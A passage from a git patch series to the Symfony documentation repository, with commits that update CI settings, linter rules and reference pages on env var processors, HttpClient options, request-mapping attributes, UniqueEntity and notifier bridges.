 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 79f2c12e4fb..744cc957c6c 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.45.0
+                uses: docker://oskarstark/doctor-rst:1.46.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From e32ee28127f277f4ccb208046541004f08328b3c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 19 May 2023 10:22:52 +0200
Subject: [PATCH 3296/5766] Enable new DOCtor rule
 `no_duplicate_use_statements`

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 318d55b688a..a1623233d96 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -34,6 +34,7 @@ rules:
     no_brackets_in_method_directive: ~
     no_composer_req: ~
     no_directive_after_shorthand: ~
+    no_duplicate_use_statements: ~
     no_explicit_use_of_code_block_php: ~
     no_inheritdoc: ~
     no_merge_conflict: ~

From e419c65fb40eebceef743bfc14e6c6b8ba6ab254 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 19 May 2023 21:56:44 +0200
Subject: [PATCH 3297/5766] Use `ubuntu-latest`

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 744cc957c6c..492d38ff045 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -79,7 +79,7 @@ jobs:
 
     symfony-code-block-checker:
         name: Code Blocks
-        runs-on: Ubuntu-20.04
+        runs-on: ubuntu-latest
         continue-on-error: true
         steps:
           - name: Checkout code

From e73b674985714d18b328c6bd1a6f6d1ed3732424 Mon Sep 17 00:00:00 2001
From: uncaught <uncaught42@gmail.com>
Date: Mon, 22 May 2023 08:36:34 +0200
Subject: [PATCH 3298/5766] Fix non-working examples of `json` and `csv` env
 var processors (closes https://github.com/symfony/symfony/issues/50341).

---
 configuration/env_var_processors.rst | 32 ++++++++++++----------------
 1 file changed, 14 insertions(+), 18 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index cc6782baabb..0a76793cc2c 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -262,9 +262,8 @@ Symfony provides the following env var processors:
 
             # config/packages/framework.yaml
             parameters:
-                env(TRUSTED_HOSTS): '["10.0.0.1", "10.0.0.2"]'
-            framework:
-                trusted_hosts: '%env(json:TRUSTED_HOSTS)%'
+                env(ALLOWED_LANGUAGES): '["en","de","es"]'
+                app_allowed_languages: '%env(json:ALLOWED_LANGUAGES)%'
 
         .. code-block:: xml
 
@@ -279,10 +278,9 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
                 <parameters>
-                    <parameter key="env(TRUSTED_HOSTS)">["10.0.0.1", "10.0.0.2"]</parameter>
+                    <parameter key="env(ALLOWED_LANGUAGES)">["en","de","es"]</parameter>
+                    <parameter key="app_allowed_languages">%env(json:ALLOWED_LANGUAGES)%</parameter>
                 </parameters>
-
-                <framework:config trusted-hosts="%env(json:TRUSTED_HOSTS)%"/>
             </container>
 
         .. code-block:: php
@@ -293,9 +291,9 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
-                $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
-                $framework->trustedHosts(env('TRUSTED_HOSTS')->json());
+            return static function (ContainerBuilder $container) {
+                $container->setParameter('env(ALLOWED_LANGUAGES)', '["en","de","es"]');
+                $container->setParameter('app_allowed_languages', '%env(json:ALLOWED_LANGUAGES)%');
             };
 
 ``env(resolve:FOO)``
@@ -348,9 +346,8 @@ Symfony provides the following env var processors:
 
             # config/packages/framework.yaml
             parameters:
-                env(TRUSTED_HOSTS): "10.0.0.1,10.0.0.2"
-            framework:
-               trusted_hosts: '%env(csv:TRUSTED_HOSTS)%'
+                env(ALLOWED_LANGUAGES): "en,de,es"
+                app_allowed_languages: '%env(csv:ALLOWED_LANGUAGES)%'
 
         .. code-block:: xml
 
@@ -365,10 +362,9 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
                 <parameters>
-                    <parameter key="env(TRUSTED_HOSTS)">10.0.0.1,10.0.0.2</parameter>
+                    <parameter key="env(ALLOWED_LANGUAGES)">en,de,es</parameter>
+                    <parameter key="app_allowed_languages">%env(csv:ALLOWED_LANGUAGES)%</parameter>
                 </parameters>
-
-                <framework:config trusted-hosts="%env(csv:TRUSTED_HOSTS)%"/>
             </container>
 
         .. code-block:: php
@@ -379,9 +375,9 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
-                $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
-                $framework->trustedHosts(env('TRUSTED_HOSTS')->csv());
+            return static function (ContainerBuilder $container) {
+                $container->setParameter('env(ALLOWED_LANGUAGES)', 'en,de,es');
+                $container->setParameter('app_allowed_languages', '%env(csv:ALLOWED_LANGUAGES)%');
             };
 
 ``env(file:FOO)``

From 84b52284bc5f3509f7daf3534a2f9e2337db5104 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 19 May 2023 10:05:14 +0200
Subject: [PATCH 3299/5766] Use DOCtor-RST 1.47.1

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 744cc957c6c..0f17933d8ae 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.46.1
+                uses: docker://oskarstark/doctor-rst:1.47.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 64cb70171f51b82d747bd396ce1cb5ad498d2a15 Mon Sep 17 00:00:00 2001
From: Bruno Casali <brunoocasali@gmail.com>
Date: Fri, 12 May 2023 12:46:42 -0300
Subject: [PATCH 3300/5766] [Serializer] Fix data type according to the field
 name on serializer.rst

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index b7b62efa843..7bf972e908e 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -312,7 +312,7 @@ to your class::
         private $name;
 
         /**
-         * @ORM\Column(type="integer")
+         * @ORM\Column(type="text")
          * @Groups({"show_product"})
          */
         private $description;

From 6f74096cdc0105dba561bac1637159791b747d36 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Wed, 17 May 2023 20:22:49 +0200
Subject: [PATCH 3301/5766] [FormCollection] mention Symfony UX live collection

---
 form/form_collections.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 540f8d50377..601d49f689d 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -213,6 +213,11 @@ Previously you added two tags to your task in the controller. Now let the users
 add as many tag forms as they need directly in the browser. This requires a bit
 of JavaScript code.
 
+.. tip::
+
+    You can leverage Symfony UX via https://ux.symfony.com/live-component/demos/form-collection-type
+    if you do not want to handle the JavaScript code yourself.
+
 But first, you need to let the form collection know that instead of exactly two,
 it will receive an *unknown* number of tags. Otherwise, you'll see a
 *"This form should not contain extra fields"* error. This is done with the

From 7f6a8e2cfdb72b607d0f2c48af0a8c98868f275b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 May 2023 10:59:14 +0200
Subject: [PATCH 3302/5766] Tweaks

---
 form/form_collections.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 601d49f689d..a2726ed1ed6 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -215,8 +215,9 @@ of JavaScript code.
 
 .. tip::
 
-    You can leverage Symfony UX via https://ux.symfony.com/live-component/demos/form-collection-type
-    if you do not want to handle the JavaScript code yourself.
+    Instead of writing the needed JavaScript code yourself, you can use Symfony
+    UX to implement this feature with only PHP and Twig code. See the
+    `Symfony UX Demo of Form Collections`_.
 
 But first, you need to let the form collection know that instead of exactly two,
 it will receive an *unknown* number of tags. Otherwise, you'll see a
@@ -662,3 +663,4 @@ the relationship between the removed ``Tag`` and ``Task`` object.
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
 .. _`symfony-collection`: https://github.com/ninsuo/symfony-collection
 .. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html
+.. _`Symfony UX Demo of Form Collections`: https://ux.symfony.com/live-component/demos/form-collection-type

From 1b989b8e1ae798c3e706efb14c489cf61df4ab72 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 May 2023 12:27:57 +0200
Subject: [PATCH 3303/5766] [OptionsResolver] Minor tweak

---
 components/options_resolver.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 47c15317957..1d72bdae1e5 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -845,8 +845,9 @@ and before normalizing it when the option is being resolved.
 Ignore not defined Options
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-By default, all options are resolved, validated and an :class:`Symfony\\Component\\OptionsResolver\\Exception\\UndefinedOptionsException`
-is thrown if an unknown option is passed. You can ignore not defined options by using the
+By default, all options are resolved and validated, resulting in a
+:class:`Symfony\\Component\\OptionsResolver\\Exception\\UndefinedOptionsException`
+if an unknown option is passed. You can ignore not defined options by using the
 :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::ignoreUndefined` method::
 
     // ...
@@ -863,7 +864,7 @@ is thrown if an unknown option is passed. You can ignore not defined options by
 
 .. versionadded:: 6.3
 
-    The ``ignoreUndefined`` method was introduced in Symfony 6.3.
+    The ``ignoreUndefined()`` method was introduced in Symfony 6.3.
 
 Chaining Option Configurations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 0ce171c00aafb36c1b4cc38ef0b808570f6b8548 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 May 2023 12:35:34 +0200
Subject: [PATCH 3304/5766] [HttpClient] Document the crypto_method option

---
 reference/configuration/framework.rst | 18 +++++++++++++++---
 1 file changed, 15 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 937ed629d79..46453bbdf64 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1027,9 +1027,21 @@ ciphers
 
 **type**: ``string``
 
-A list of the names of the ciphers allowed for the SSL/TLS connections. They
+A list of the names of the ciphers allowed for the TLS connections. They
 can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``).
 
+crypto_method
+.............
+
+**type**: ``integer``
+
+The minimum version of TLS to accept. The value must be one of the
+``STREAM_CRYPTO_METHOD_TLSv*_CLIENT`` constants defined by PHP.
+
+.. versionadded:: 6.3
+
+    The ``crypto_method`` option was introduced in Symfony 6.3.
+
 delay
 .....
 
@@ -1183,7 +1195,7 @@ peer_fingerprint
 
 **type**: ``array``
 
-When negotiating a TLS or SSL connection, the server sends a certificate
+When negotiating a TLS connection, the server sends a certificate
 indicating its identity. A public key is extracted from this certificate and if
 it does not exactly match any of the public keys provided in this option, the
 connection is aborted before sending or receiving any data.
@@ -1265,7 +1277,7 @@ verify_peer
 
 **type**: ``boolean`` **default**: ``true``
 
-If ``true``, the certificate sent by other servers when negotiating a TLS or SSL
+If ``true``, the certificate sent by other servers when negotiating a TLS
 connection is verified for authenticity. Authenticating the certificate is not
 enough to be sure about the server, so you should combine this with the
 ``verify_host`` option.

From cf9788c39d52cc456a96f7e054bb3b9d0a55e37c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 22 May 2023 15:50:11 +0200
Subject: [PATCH 3305/5766] [HttpKernel] Add `#[MapQueryParameter]`,
 `#[MapQueryString]` and `#[MapRequestPayload]`

---
 controller.rst           | 152 +++++++++++++++++++++++++++++++++++++++
 reference/attributes.rst |   3 +
 2 files changed, 155 insertions(+)

diff --git a/controller.rst b/controller.rst
index 9f861a75708..db3e635a8fa 100644
--- a/controller.rst
+++ b/controller.rst
@@ -336,6 +336,157 @@ object. To access it in your controller, add it as an argument and
 :ref:`Keep reading <request-object-info>` for more information about using the
 Request object.
 
+.. _controller_map-request:
+
+Automatic Mapping Of The Request
+--------------------------------
+
+It is possible to automatically map request's payload and/or query parameters to
+your controller's action arguments with attributes.
+
+Mapping Query Parameters Individually
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Let's say a user sends you a request with the following query string:
+``https://example.com/dashboard?firstName=John&lastName=Smith&age=27``.
+Thanks to the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryParameter`
+attribute, arguments of your controller's action can be automatically fulfilled::
+
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapQueryParameter;
+
+    // ...
+
+    public function dashboard(
+        #[MapQueryParameter] string $firstName,
+        #[MapQueryParameter] string $lastName,
+        #[MapQueryParameter] int $age,
+    ): Response
+    {
+        // ...
+    }
+
+``#[MapQueryParameter]`` can take an optional argument called ``filter``. You can use the
+`Validate Filters`_ constants defined in PHP::
+
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapQueryParameter;
+
+    // ...
+
+    public function dashboard(
+        #[MapQueryParameter(filter: \FILTER_VALIDATE_REGEXP, options: ['regexp' => '/^\w++$/'])] string $firstName,
+        #[MapQueryParameter] string $lastName,
+        #[MapQueryParameter(filter: \FILTER_VALIDATE_INT)] int $age,
+    ): Response
+    {
+        // ...
+    }
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryParameter` attribute
+    was introduced in Symfony 6.3.
+
+Mapping The Whole Query String
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Another possibility is to map the entire query string into an object that will hold
+available query parameters. Let's say you declare the following DTO with its
+optional validation constraints::
+
+    namespace App\Model;
+
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    class UserDTO
+    {
+        public function __construct(
+            #[Assert\NotBlank]
+            public string $firstName,
+
+            #[Assert\NotBlank]
+            public string $lastName,
+
+            #[Assert\GreaterThan(18)]
+            public int $age,
+        ) {
+        }
+    }
+
+You can then use the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString`
+attribute in your controller::
+
+    use App\Model\UserDto;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapQueryString;
+
+    // ...
+
+    public function dashboard(
+        #[MapQueryString] UserDTO $userDto
+    ): Response
+    {
+        // ...
+    }
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute
+    was introduced in Symfony 6.3.
+
+Mapping Request Payload
+~~~~~~~~~~~~~~~~~~~~~~~
+
+When creating an API and dealing with other HTTP methods than ``GET`` (like
+``POST`` or ``PUT``), user's data are not stored in the query string
+but directly in the request payload, like this:
+
+.. code-block:: json
+
+    {
+        "firstName": "John",
+        "lastName": "Smith",
+        "age": 28
+    }
+
+In this case, it is also possible to directly map this payload to your DTO by
+using the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload`
+attribute::
+
+    use App\Model\UserDto;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapRequestPayload;
+
+    // ...
+
+    public function dashboard(
+        #[MapRequestPayload] UserDTO $userDto
+    ): Response
+    {
+        // ...
+    }
+
+This attribute allows you to customize the serialization context as well
+as the class responsible of doing the mapping between the request and
+your DTO::
+
+    public function dashboard(
+        #[MapRequestPayload(
+            serializationContext: ['...'],
+            resolver: App\Resolver\UserDtoResolver
+        )]
+        UserDTO $userDto
+    ): Response
+    {
+        // ...
+    }
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload` attribute
+    was introduced in Symfony 6.3.
+
 Managing the Session
 --------------------
 
@@ -604,3 +755,4 @@ Learn more about Controllers
 .. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
 .. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 .. _`FrankenPHP`: https://frankenphp.dev
+.. _`Validate Filters`: https://www.php.net/manual/en/filter.filters.validate.php
diff --git a/reference/attributes.rst b/reference/attributes.rst
index f76c9674016..5598691682e 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -57,6 +57,9 @@ HttpKernel
 * :class:`Symfony\\Component\\HttpKernel\\Attribute\\AsPinnedValueResolver`
 * :ref:`Cache <http-cache-expiration-intro>`
 * :ref:`MapDateTime <functionality-shipped-with-the-httpkernel>`
+* :ref:`MapQueryParameter <controller_map-request>`
+* :ref:`MapQueryString <controller_map-request>`
+* :ref:`MapRequestPayload <controller_map-request>`
 * :class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver`
 * :ref:`WithHttpStatus <framework_exceptions>`
 * :ref:`WithLogLevel <framework_exceptions>`

From a0bb5bf1e84362226a141768cead7ef167a73f05 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 May 2023 14:58:59 +0200
Subject: [PATCH 3306/5766] [Validator] Update the ignoreNull option of
 UniqueEntity constraint

---
 reference/constraints/UniqueEntity.rst | 87 ++++++++++++++++++++++++++
 1 file changed, 87 insertions(+)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 9f3d810eb01..328ea8790da 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -253,11 +253,98 @@ each with a single field.
 
 **type**: ``boolean`` **default**: ``true``
 
+``ignoreNull``
+~~~~~~~~~~~~~~
+
+**type**: ``boolean`` | ``string`` | ``array`` **default**: ``true``
+
 If this option is set to ``true``, then the constraint will allow multiple
 entities to have a ``null`` value for a field without failing validation.
 If set to ``false``, only one ``null`` value is allowed - if a second entity
 also has a ``null`` value, validation would fail.
 
+In addition to ignoring the ``null`` values of all unique fields, you can also use
+this option to specify one or more fields to only ignore ``null`` values on them:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[ORM\Entity]
+        #[UniqueEntity(fields: ['email', 'phoneNumber'], ignoreNull: 'phoneNumber')]
+        class User
+        {
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\User:
+            constraints:
+                - Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity:
+                      fields: ['email', 'phoneNumber']
+                      ignoreNull: 'phoneNumber'
+            properties:
+                # ...
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\User">
+                <constraint name="Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity">
+                    <option name="fields">email</option>
+                    <option name="fields">phoneNumber</option>
+                    <option name="ignore-null">phoneNumber</option>
+                </constraint>
+                <!-- ... -->
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addConstraint(new UniqueEntity([
+                    'fields' => ['email', 'phoneNumber'],
+                    'ignoreNull' => 'phoneNumber',
+                ]));
+
+                // ...
+            }
+        }
+
+.. caution::
+
+    If you ``ignoreNull`` on fields that are part of a unique index in your
+    database, you might see insertion errors when your application attempts to
+    persist entities that the ``UniqueEntity`` constraint considers valid.
+
+.. versionadded:: 6.3
+
+    The option to ignore ``null`` values for specific fields was introduced
+    in Symfony 6.3.
+
 ``message``
 ~~~~~~~~~~~
 

From 3f996caf1c2c09daa377490ae193a13404f49000 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 May 2023 12:19:05 +0200
Subject: [PATCH 3307/5766] [HttpClient] Support file uploads by nesting
 resource streams in body option

---
 http_client.rst | 29 +++++++++++++++--------------
 1 file changed, 15 insertions(+), 14 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 693fc3dc59e..295ed2668ee 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -607,22 +607,23 @@ A generator or any ``Traversable`` can also be used instead of a closure.
 
         $decodedPayload = $response->toArray();
 
-To submit a form with file uploads, it is your responsibility to encode the body
-according to the ``multipart/form-data`` content-type. The
-:doc:`Symfony Mime </components/mime>` component makes it a few lines of code::
+To submit a form with file uploads, pass the file handle to the ``body`` option::
 
-    use Symfony\Component\Mime\Part\DataPart;
-    use Symfony\Component\Mime\Part\Multipart\FormDataPart;
+    $fileHandle = fopen('/path/to/the/file' 'r');
+    $client->request('POST', 'https://...', ['body' => ['the_file' => $fileHandle]]);
 
-    $formFields = [
-        'regular_field' => 'some value',
-        'file_field' => DataPart::fromPath('/path/to/uploaded/file'),
-    ];
-    $formData = new FormDataPart($formFields);
-    $client->request('POST', 'https://...', [
-        'headers' => $formData->getPreparedHeaders()->toArray(),
-        'body' => $formData->bodyToIterable(),
-    ]);
+By default, this code will populate the filename and content-type with the data
+of the opened file, but you can configure both with the PHP streaming configuration::
+
+    stream_context_set_option($fileHandle, 'http', 'filename', 'the-name.txt');
+    stream_context_set_option($fileHandle, 'http', 'content_type', 'my/content-type');
+
+.. versionadded:: 6.3
+
+    The feature to upload files using handles was introduced in Symfony 6.3.
+    In previous Symfony versions you had to encode the body contents according
+    to the ``multipart/form-data`` content-type using the :doc:`Symfony Mime </components/mime>`
+    component.
 
 .. tip::
 

From cf36166923459de18e643d928f414c9f2508b565 Mon Sep 17 00:00:00 2001
From: Dan Barrett <dan@danbarrett.com.au>
Date: Wed, 24 May 2023 14:54:04 +1000
Subject: [PATCH 3308/5766] [Performance] Update parameter to compile-time
 prefix

---
 performance.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/performance.rst b/performance.rst
index 29f88614d05..3d1875d45b4 100644
--- a/performance.rst
+++ b/performance.rst
@@ -60,7 +60,7 @@ container into a single file, which could improve performance when using
         # config/services.yaml
         parameters:
             # ...
-            container.dumper.inline_factories: true
+            .container.dumper.inline_factories: true
 
     .. code-block:: xml
 
@@ -72,7 +72,7 @@ container into a single file, which could improve performance when using
 
             <parameters>
                 <!-- ... -->
-                <parameter key="container.dumper.inline_factories">true</parameter>
+                <parameter key=".container.dumper.inline_factories">true</parameter>
             </parameters>
         </container>
 
@@ -81,10 +81,15 @@ container into a single file, which could improve performance when using
         // config/services.php
 
         // ...
-        $container->parameters()->set('container.dumper.inline_factories', true);
+        $container->parameters()->set('.container.dumper.inline_factories', true);
 
 .. _performance-use-opcache:
 
+.. tip::
+
+    The ``.`` prefix denotes a parameter that is only used during compilation of the container.
+    See :ref:`Configuration Parameters <configuration-parameters>` for more details.
+
 Use the OPcache Byte Code Cache
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From be256a1acc52427ddc9918134e46936748365cc9 Mon Sep 17 00:00:00 2001
From: Jorick <48644518+JorickPepin@users.noreply.github.com>
Date: Wed, 24 May 2023 09:52:21 +0200
Subject: [PATCH 3309/5766] [Doctrine] Replace entityManager by objectManager

---
 doctrine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index d84b20f6583..164ed72ed09 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -784,13 +784,13 @@ control behavior:
     If true, then when ``findOneBy()`` is used, any values that are
     ``null`` will not be used for the query.
 
-``entityManager``
+``objectManager``
     By default, the ``EntityValueResolver`` uses the *default*
-    entity manager, but you can configure this::
+    object manager, but you can configure this::
 
         #[Route('/product/{id}')]
         public function show(
-            #[MapEntity(entityManager: ['foo'])]
+            #[MapEntity(objectManager: 'foo')]
             Product $product
         ): Response {
         }

From fee66c0fb88044a3b433720190f4926ea3f42572 Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <j.dreesen@neusta.de>
Date: Wed, 24 May 2023 10:01:51 +0200
Subject: [PATCH 3310/5766] Fix code block

---
 lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lock.rst b/lock.rst
index 3e93173aedc..8d5dc62617f 100644
--- a/lock.rst
+++ b/lock.rst
@@ -281,7 +281,7 @@ case version of its name suffixed by ``LockFactory``.
 
 For instance, the ``invoice`` lock can be injected by naming the argument
 ``$invoiceLockFactory`` and type-hinting it with
-:class:`Symfony\\Component\\Lock\\LockFactory`:
+:class:`Symfony\\Component\\Lock\\LockFactory`::
 
     // src/Controller/PdfController.php
     namespace App\Controller;

From dcdf4a1328a5872763026f2c81f5e69a85591a7c Mon Sep 17 00:00:00 2001
From: Wouter van der Loop <woutervdl@toppy.nl>
Date: Wed, 24 May 2023 13:45:16 +0200
Subject: [PATCH 3311/5766] [Notifier] Add Novu Notifier Bridge

---
 notifier.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 0480405cc4a..08b7c08fbce 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -425,6 +425,7 @@ Service          Package                               DSN
 ===============  ====================================  ==============================================================================
 `Engagespot`_    ``symfony/engagespot-notifier``       ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
 `Expo`_          ``symfony/expo-notifier``             ``expo://Token@default``
+`Novu`_          ``symfony/novu-notifier``             ``novu://API_KEY@default``
 `OneSignal`_     ``symfony/one-signal-notifier``       ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
 `PagerDuty`_     ``symfony/pager-duty-notifier``       ``pagerduty://TOKEN@SUBDOMAIN``
 `Pushover`_      ``symfony/pushover-notifier``         ``pushover://USER_KEY:APP_TOKEN@default``
@@ -438,6 +439,10 @@ Service          Package                               DSN
 
     The PagerDuty and Pushover integrations were introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The Novu integration was introduced in Symfony 6.4.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -998,6 +1003,7 @@ is dispatched. Listeners receive a
 .. _`MicrosoftTeams`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MicrosoftTeams/README.md
 .. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md
 .. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md
+.. _`Novu`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Novu/README.md
 .. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md
 .. _`OneSignal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OneSignal/README.md
 .. _`OrangeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OrangeSms/README.md

From ed6c5a20578afe2977e2a88804691df504659de6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 22 May 2023 16:01:17 +0200
Subject: [PATCH 3312/5766] [HttpKernel] Add customization options to
 `#[MapQueryString]` and `#[MapRequestPayload]`

---
 controller.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/controller.rst b/controller.rst
index db3e635a8fa..1f88729204d 100644
--- a/controller.rst
+++ b/controller.rst
@@ -430,6 +430,16 @@ attribute in your controller::
         // ...
     }
 
